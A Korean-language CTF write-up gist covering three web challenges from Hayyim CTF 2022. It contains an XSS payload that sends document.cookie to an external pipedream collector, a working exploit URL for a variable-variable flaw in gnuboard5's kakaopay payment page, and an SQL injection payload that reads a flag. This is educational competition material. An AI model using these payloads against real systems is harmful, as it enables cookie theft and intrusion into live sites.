Skip to content

Instantly share code, notes, and snippets.

@as3617
Created February 12, 2022 19:49
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save as3617/256b92b451a863732e6c8992cbeda0a9 to your computer and use it in GitHub Desktop.
Save as3617/256b92b451a863732e6c8992cbeda0a9 to your computer and use it in GitHub Desktop.
hayyim CTF 2022 web writeup

Cyber Headchef

image

revenge challenge다.

app.post('/report', (req, res) => {
  const url = req.body.url;

  if (!checkUrl(url)) {
    res.redirect('/?message=invalid argument');
  } else if (unescape(url).indexOf('chart') !== -1) {
    res.redirect('/?message=sorry, headchef doesn\'t like chart!');
  } else if (!checkRateLimit(req.ip)) {
    res.redirect(`/?message=rate limited`);
  } else {
    visitUrl(url)
      .then(() => res.redirect('/?message=reported'));
  }
});

report page를 통해 전달된 url에 chart가 있으면 bot이 접속을 안한다. 하지만 chrome browser는 url에 포함된 tab, null문자를 무시하기 때문에 chart사이에 %09나 %00을 넣어주면 우회할 수 있다. 이전에 썻던 페이로드 그대로 가져와서 보내주니 플래그를 얻을 수 있었다.

http://cyberchef:8000/#recipe=Scatter_ch%00%61rt('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.replace(%22https://enllwt2ugqrt.x.pipedream.net/%22%2bdocument.cookie)%3C/script%3E',100,false)&input=MTAwLCAxMDAhttp://cyberchef:8000/#recipe=Scatter_c%68\%61rt('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.replace(%22https://enllwt2ugqrt.x.pipedream.net/%22%2bdocument.cookie)%3C/script%3E',100,false)&input=MTAwLCAxMDA

image

FLAG : hsctf{be9e5b8bce203e203597dca3d67e0f7a38e359a9ab7799988e888be073c78da0}

Gnuboard

FROM ubuntu:20.04
ARG DEBIAN_FRONTEND=noninteractive

RUN apt-get update
RUN apt-get install -y wget curl apache2 git php-gd php-mysql php

RUN git clone https://github.com/gnuboard/gnuboard5 /tmp/gnuboard
RUN cp -r /tmp/gnuboard/* /var/www/html
RUN sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf

WORKDIR /var/www/html

RUN mkdir data
RUN chmod 777 data
RUN rm -rf index.html /tmp/gnuboard

RUN echo '$flag = "hsctf{flag_will_be_here}";' >> /var/www/html/common.php

ADD entrypoint.sh /
CMD /entrypoint.sh

깃헙에 있는 gnuboard5 repo에서 최신버전을 clone한다. flag는 common.php에 저장되는 것을 확인할 수 있다.

image

hint를 통해 0day라는 것을 알 수 있었고

image

추가적으로 공개된 힌트를 통해 payment 쪽에서 취약점이 발생한다는 것을 알 수 있었다.

payment 쪽 코드에선 file leak이나 rce 취약점이 발생하지 않았기 때문에 변수 출력 부분과 관련이 있을 것이라 생각했고

php의 가변변수 쪽을 중점적으로 확인하였다.

그리고 /shop/kakaopay/pc_pay_result.php 쪽에서 가변변수를 사용하는 것을 확인할 수 있었다.

catch (Exception $e) {
            //    $s = $e->getMessage() . ' (오류코드:' . $e->getCode() . ')';
            //####################################
            // 실패시 처리(***가맹점 개발수정***)
            //####################################
            //---- db 저장 실패시 등 예외처리----//
            $s = $e->getMessage() . ' (오류코드:' . $e->getCode() . ')';
            echo $s;

            //#####################
            // 망취소 API
            //#####################

            $netcancelResultString = ""; // 망취소 요청 API url(고정, 임의 세팅 금지)
            if ($httpUtil->processHTTP($netCancel, $authMap)) {
                $netcancelResultString = $httpUtil->body;
            } else {
                echo "Http Connect Error\n";
                echo $httpUtil->errormsg;

                throw new Exception("Http Connect Error");
            }

            echo "## 망취소 API 결과 ##";

            $netcancelResultString = str_replace("<", "&lt;", $$netcancelResultString);
            $netcancelResultString = str_replace(">", "&gt;", $$netcancelResultString);

            echo "<pre>", $netcancelResultString . "</pre>";
            // 취소 결과 확인
        }

try catch문을 사용하는데 try 문에서 에러가 발생한 경우 netCancel 변수에 담긴 url로 요청을 보내고 해당 데이터를 읽어와서

$netcancelResultString = str_replace("<", "&lt;", $$netcancelResultString);
$netcancelResultString = str_replace(">", "&gt;", $$netcancelResultString);

몇가지 동작 이후에 출력을 해주는 것을 알 수 있다.

$netCancel은 우리가 컨트롤 할 수 있기 때문에 우리의 서버로 http request를 보내고 body data를 적절하게 잘 주면 echo할 때 flag를 출력시킬 수 있을 것이다.

가변 변수를 2번 사용하므로 $netcancelResultString에 처음엔 우리가 컨트롤 할 수 있는 변수명을 주고 이후에 가변변수를 사용할 때 flag값이 들어가게 하면 될 것 같다. try문에서 에러 발생은 잘못된 url을 줘서 http connect error를 트리거하면 된다.

그럼 페이로드는 아래와 같다.

http://1.230.253.91:5000/shop/kakaopay/pc_pay_result.php?authUrl=http://a.com&netCancelUrl=https://enstz4j50b3g8n6.m.pipedream.net/&authToken=flag&resultCode=0000

image

FLAG : hsctf{799c12711fd9d697a00ae3e6329a7979cc648d7cdae0fbb3d62f23a1f7c7f544}

not_e

  #formatQuery(sql, params = []) {
    for (const param of params) {
      if (typeof param === 'number') {
        sql = sql.replace('?', param);
      } else if (typeof param === 'string') {
        sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
      } else {
        sql = sql.replace('?', ""); // unreachable
      }
    }
    return sql;
  };
}

utils.js의 formatQuery에서 sql injection 취약점이 발생한다.

예를 들어서 query는 insert into posts values (?, ?, ?, ?)와 같고 params는 [ noteId, title, content, login ]라 했을 때 title에 ?, content에 ||(select flag from flag),'1234')-- - 를 넣으면 return되는 query는 다음과 같다.

insert into posts values ("12341234", ""||(select flag from flag),'1234')-- - "", "test", ?)

이걸 이용하면 된다.

image

FLAG : hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}
@inweol
Copy link

inweol commented Feb 14, 2022

잘보고갑니당

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment